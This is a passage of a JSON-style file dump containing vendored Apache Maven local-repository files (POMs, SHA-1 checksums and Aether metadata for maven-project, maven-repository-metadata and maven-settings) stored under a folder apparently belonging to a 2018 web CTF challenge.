   </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-registry</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom.sha1",
    "content": "28e9f98ae3688d8831052283b2d65bd18295a7f5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nmaven-project-2.0.9.jar>central=\nmaven-project-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/maven-project-2.0.9.jar.sha1",
    "content": "30ec37813df5a212888a1f3df0b27497ecef4ad8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/maven-project-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-project</artifactId>\n  <name>Maven Project Builder</name>\n  <description>This library is used to not only read Maven project object model files, but to assemble inheritence\n    and to retrieve remote models as required.</description>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-profile</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-registry</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/maven-project-2.0.9.pom.sha1",
    "content": "152cb93838c431848f31cd5a7a7a11b98c57135e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-project-2.2.1.jar>central=\nmaven-project-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.jar.sha1",
    "content": "8239e98c16f641d55a4ad0e0bab0aee3aff8933f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-project</artifactId>\n\n  <name>Maven Project Builder</name>\n  <description>This library is used to not only read Maven project object model files, but to assemble inheritence\n    and to retrieve remote models as required.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-profile</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-registry</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom.sha1",
    "content": "d96e4545b4700ac177430b5189c3f2aa54f62ca1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-repository-metadata-2.0.6.pom>central=\nmaven-repository-metadata-2.0.6.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.jar.sha1",
    "content": "ae64379396d2eba33616ce1e0a458c3a744b317b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-repository-metadata</artifactId>\n  <name>Maven Repository Metadata Model</name>\n  <description>Maven Plugin Mapping</description>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <version>1.0-alpha-8</version>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/metadata.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom.sha1",
    "content": "bdcd11054562df6124286aaf252ae8f256879e26"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-repository-metadata-2.0.9.jar>central=\nmaven-repository-metadata-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/maven-repository-metadata-2.0.9.jar.sha1",
    "content": "dd79022a827b1d577865d5c97f8ad0c7d6b067b7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/maven-repository-metadata-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-repository-metadata</artifactId>\n  <name>Maven Repository Metadata Model</name>\n  <description>Maven Plugin Mapping</description>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <version>1.0-alpha-8</version>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/metadata.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/maven-repository-metadata-2.0.9.pom.sha1",
    "content": "dc5dac36e8c773d8645a681b71b3d80a3e3b8916"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-repository-metadata-2.2.1.jar>central=\nmaven-repository-metadata-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.jar.sha1",
    "content": "98f0c07fcf1eeb213bef8d9316a9935184084b06"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-repository-metadata</artifactId>\n\n  <name>Maven Repository Metadata Model</name>\n  <description>Per-directory repository metadata.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>src/main/mdo/metadata.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom.sha1",
    "content": "415f88d96ea04b0fcef38c50123da1ccc2be49d2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-repository-metadata-3.0.pom>central=\nmaven-repository-metadata-3.0.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.jar.sha1",
    "content": "e3c41f7565b1e189ff7a312796b9d2c470c09a8b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-repository-metadata</artifactId>\n\n  <name>Maven Repository Metadata Model</name>\n  <description>Per-directory repository metadata.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.1.0</version>\n          <models>\n            <model>src/main/mdo/metadata.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom.sha1",
    "content": "5126010cefcb80ed5dc6eb066541b546dbdbc971"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-settings-2.0.6.jar>central=\nmaven-settings-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.jar.sha1",
    "content": "5da16cf9def50e3a352cd7e8923a49ebd72003b8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-settings</artifactId>\n  <name>Maven Local Settings Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/settings.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom.sha1",
    "content": "6e8ca6b7fce58a28d2b73774fe277593af14d82a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-settings-2.0.9.pom>central=\nmaven-settings-2.0.9.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/maven-settings-2.0.9.jar.sha1",
    "content": "ab8d338c00fab0db29af358ab0676c3c02d7329f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/maven-settings-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-settings</artifactId>\n  <name>Maven Local Settings Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/settings.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/maven-settings-2.0.9.pom.sha1",
    "content": "f1fde243f26152cc66f7f1d6b4e3bb19d39d6847"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nmaven-settings-2.2.1.jar>central=\nmaven-settings-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.jar.sha1",
    "content": "2236ffe71fa5f78ce42b0f5fc22c54ed45f14294"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-settings</artifactId>\n\n  <name>Maven Local Settings Model</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>src/main/mdo/settings.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom.sha1",
    "content": "d54135b84370b3b0b70d84ffbb4ddf161c303d56"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-settings-3.0.jar>central=\nmaven-settings-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/maven-settings-3.0.jar.sha1",
    "content": "8ee129adae535dd610f2dc952fddce68ac42fd86"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-settings</artifactId>\n\n  <name>Maven Settings</name>\n  <description>Maven Settings</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.1.0</version>\n          <models>\n            <model>src/main/mdo/settings.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom.sha1",
    "content": "efc9c618ca5b82f76d1894977482069fe0e4565a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-settings-builder-3.0.pom>central=\nmaven-settings-builder-3.0.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.jar.sha1",
    "content": "08234c1bdf7a9a28c671b0abf11f8adaa66440cd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom",
